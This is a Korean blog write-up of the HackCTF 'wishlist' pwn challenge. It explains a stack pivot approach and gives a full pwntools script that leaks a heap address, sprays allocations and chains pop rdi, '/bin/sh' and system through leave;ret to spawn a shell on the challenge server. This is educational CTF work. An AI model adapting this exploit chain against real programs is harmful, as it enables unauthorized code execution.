일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- sputn
- stdin
- PORT
- OSI
- fclose leak
- 홀펀칭
- lord of sql injection
- TcpClient
- TCP
- hole punching
- DotNet
- puts함수
- puts
- Frankenstein
- get local
- Blue Dragon
- xsputn
- libhostpolicy.so
- TCP/IP
- stdout
- 우분투 C#
- fclose
- c# localport
- stdout flag
- c# 로컬포트
- Los
- Red Dragon
- dotnet publish
- puts분석
- UDP
Archives
- Today
- Total
Osori Development Studio
[HackCTF] wishlist write up 본문
기본적으로 stack pivot 문제이다. 서버와 로컬의 환경이 많이 다른지 서버익스가 안되는데, 홈피에서도 로컬익스만 되면 dm달라고 하는 걸 보변 문제가 꽤 있었나보다. 일단 이 문제에서 배운점 .
system 함수를 호출할 때, (이전에 호출한 적이 없을 시) 공간을 겁나 많이 먹는다. 따라서 스택 피벗 할때에도 공간을 넉넉하게 엄청 넉넉하게 주도록 하자.
from pwn import*
read_leave_ret=0x4008be
pop_rdi_ret=0x400b03
puts_got=0x601020
system=0x4006c0
get_index=0x400978
puts=0x4006b0
bss=0x6010e0+0x100
leave_ret=0x400a4a
p=process('./wishlist')
p=remote('ctf.j0n9hyun.xyz',3035)
add_rsp_8=0x00400b18
ELF('./wishlist')
def make(wish):
p.recvuntil('input:')
p.sendline('1')
p.recvuntil('wishlist: ')
p.send(wish)
def view(index):
p.recvuntil('input:')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(index))
def delete(index):
p.recvuntil('input:')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(index))
make('/bin/sh\x00') #0
make('/bin/sh\x00') #1
delete(0)
delete(1)
make('\x01') #0
make('\x01') #0
make('/bin/sh\x00')
view(2)
heap=u64(p.recv(4).ljust(8,'\x00'))
heap-=1
binsh=heap+0xa0
print('heap : '+hex(heap))
for i in range(0x100) :
make('A')
pl=p64(pop_rdi_ret) #heap+0xb0
pl+=p64(binsh)
pl+=p64(system)
make(pl)
p.recvuntil('input:')
pl='A'*0x10
pl+=p64(heap+0x20b8)
pl+=p64(leave_ret)
p.send(pl)
p.interactive()
|
cs |
'전공쪽 > HackCTF' 카테고리의 다른 글
[HackCTF] Unexploitable_3 write up (0) | 2020.09.22 |
---|